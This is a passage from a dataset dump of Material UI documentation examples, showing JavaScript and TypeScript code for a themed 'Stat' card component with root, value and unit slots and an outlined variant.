flexDirection: 'column',
gap: theme.spacing(0.5),
padding: theme.spacing(3, 4),
backgroundColor: theme.palette.background.paper,
borderRadius: theme.shape.borderRadius,
boxShadow: theme.shadows[2],
letterSpacing: '-0.025em',
fontWeight: 600,
}));
const StatValue = styled('div')(({ theme }) => ({
...theme.typography.h3,
}));
const StatUnit = styled('div')(({ theme }) => ({
...theme.typography.body2,
color: theme.palette.text.secondary,
}));
export default function StatComponent() {
return (
<StatRoot>
<StatValue>19,267</StatValue>
<StatUnit>Active users / month</StatUnit>
</StatRoot>
);
}
| 3,595 |
0 | petrpan-code/mui/material-ui/docs/data/material/guides | petrpan-code/mui/material-ui/docs/data/material/guides/creating-themed-components/StatFullTemplate.js | import * as React from 'react';
import PropTypes from 'prop-types';
import Stack from '@mui/material/Stack';
import { styled, useThemeProps } from '@mui/material/styles';
const StatRoot = styled('div', {
name: 'MuiStat',
slot: 'root',
})(({ theme, ownerState }) => ({
display: 'flex',
flexDirection: 'column',
gap: theme.spacing(0.5),
padding: theme.spacing(3, 4),
backgroundColor: theme.palette.background.paper,
borderRadius: theme.shape.borderRadius,
boxShadow: theme.shadows[2],
letterSpacing: '-0.025em',
fontWeight: 600,
...(ownerState.variant === 'outlined' && {
border: `2px solid ${theme.palette.divider}`,
boxShadow: 'none',
}),
}));
const StatValue = styled('div', {
name: 'MuiStat',
slot: 'value',
})(({ theme }) => ({
...theme.typography.h3,
}));
const StatUnit = styled('div', {
name: 'MuiStat',
slot: 'unit',
})(({ theme }) => ({
...theme.typography.body2,
color: theme.palette.text.secondary,
}));
const Stat = React.forwardRef(function Stat(inProps, ref) {
const props = useThemeProps({ props: inProps, name: 'MuiStat' });
const { value, unit, variant, ...other } = props;
const ownerState = { ...props, variant };
return (
<StatRoot ref={ref} ownerState={ownerState} {...other}>
<StatValue ownerState={ownerState}>{value}</StatValue>
<StatUnit ownerState={ownerState}>{unit}</StatUnit>
</StatRoot>
);
});
Stat.propTypes = {
unit: PropTypes.string.isRequired,
value: PropTypes.oneOfType([PropTypes.number, PropTypes.string]).isRequired,
variant: PropTypes.oneOf(['outlined']),
};
export default function StatFullTemplate() {
return (
<Stack direction="row" spacing={2}>
<Stat value="1.9M" unit="Favorites" />
<Stat value="5.1M" unit="Views" variant="outlined" />
</Stack>
);
}
| 3,596 |
0 | petrpan-code/mui/material-ui/docs/data/material/guides | petrpan-code/mui/material-ui/docs/data/material/guides/creating-themed-components/StatFullTemplate.tsx | import * as React from 'react';
import Stack from '@mui/material/Stack';
import { styled, useThemeProps } from '@mui/material/styles';
export interface StatProps {
value: number | string;
unit: string;
variant?: 'outlined';
}
interface StatOwnerState extends StatProps {
// …key value pairs for the internal state that you want to style the slot
// but don't want to expose to the users
}
const StatRoot = styled('div', {
name: 'MuiStat',
slot: 'root',
})<{ ownerState: StatOwnerState }>(({ theme, ownerState }) => ({
display: 'flex',
flexDirection: 'column',
gap: theme.spacing(0.5),
padding: theme.spacing(3, 4),
backgroundColor: theme.palette.background.paper,
borderRadius: theme.shape.borderRadius,
boxShadow: theme.shadows[2],
letterSpacing: '-0.025em',
fontWeight: 600,
...(ownerState.variant === 'outlined' && {
border: `2px solid ${theme.palette.divider}`,
boxShadow: 'none',
}),
}));
const StatValue = styled('div', {
name: 'MuiStat',
slot: 'value',
})<{ ownerState: StatOwnerState }>(({ theme }) => ({
...theme.typography.h3,
}));
const StatUnit = styled('div', {
name: 'MuiStat',
slot: 'unit',
})<{ ownerState: StatOwnerState }>(({ theme }) => ({
...theme.typography.body2,
color: theme.palette.text.secondary,
}));
const Stat = React.forwardRef<HTMLDivElement, StatProps>(function Stat(
inProps,
ref,
) {
const props = useThemeProps({ props: inProps, name: 'MuiStat' });
const { value, unit, variant, ...other } = props;
const ownerState = { ...props, variant };
return (
<StatRoot ref={ref} ownerState={ownerState} {...other}>
<StatValue ownerState={ownerState}>{value}</StatValue>
<StatUnit ownerState={ownerState}>{unit}</StatUnit>
</StatRoot>
);
});
export default function StatFullTemplate() {
return (
<Stack direction="row" spacing={2}>
<Stat value="1.9M" unit="Favorites" />
<Stat value="5.1M" unit="Views" variant="outlined" />
</Stack>
);
}
| 3,597 |
0 | petrpan-code/mui/material-ui/docs/data/material/guides | petrpan-code/mui/material-ui/docs/data/material/guides/creating-themed-components/StatFullTemplate.tsx.preview | <Stat value="1.9M" unit="Favorites" />
<Stat value="5.1M" unit="Views" variant="outlined" /> | 3,598 |
0 | petrpan-code/mui/material-ui/docs/data/material/guides | petrpan-code/mui/material-ui/docs/data/material/guides/creating-themed-components/StatSlots.js | import * as React from 'react';
import { styled } from '@mui/material/styles';
const StatRoot = styled('div')(({ theme }) => ({
display: 'flex',
flexDirection: 'column',
gap: theme.spacing(0.5),
padding: theme.spacing(3, 4),
backgroundColor: theme.palette.background.paper,
borderRadius: theme.shape.borderRadius,
boxShadow: theme.shadows[2],
letterSpacing: '-0.025em',
fontWeight: 600,
}));
const StatValue = styled('div')(({ theme }) => ({
...theme.typography.h3,
}));
const StatUnit = styled('div')(({ theme }) => ({
...theme.typography.body2,
color: theme.palette.text.secondary,
}));
const Label = styled('div')(({ theme }) => ({
borderRadius: '2px',
padding: theme.spacing(0, 1),
color: 'white',
position: 'absolute',
...theme.typography.body2,
fontSize: '0.75rem',
fontWeight: 500,
backgroundColor: '#ff5252',
}));
export default function StatSlots() {
return (
<StatRoot
sx={{ outline: '1px solid #ff5252', outlineOffset: 4, position: 'relative' }}
>
<StatValue sx={{ outline: '1px solid #ff5252', position: 'relative' }}>
19,267
<Label
sx={{
right: 0,
top: 4,
transform: 'translateX(100%)',
}}
>
value
</Label>
</StatValue>
<StatUnit sx={{ outline: '1px solid #ff5252', position: 'relative' }}>
Active users / month
<Label
sx={{
right: 0,
top: 2,
transform: 'translateX(100%)',
}}
>
unit
</Label>
</StatUnit>
<Label
sx={{
left: -4,
top: 4,
transform: 'translateX(-100%)',
}}
>
root
</Label>
</StatRoot>
);
}
| 3,599 |
Subsets and Splits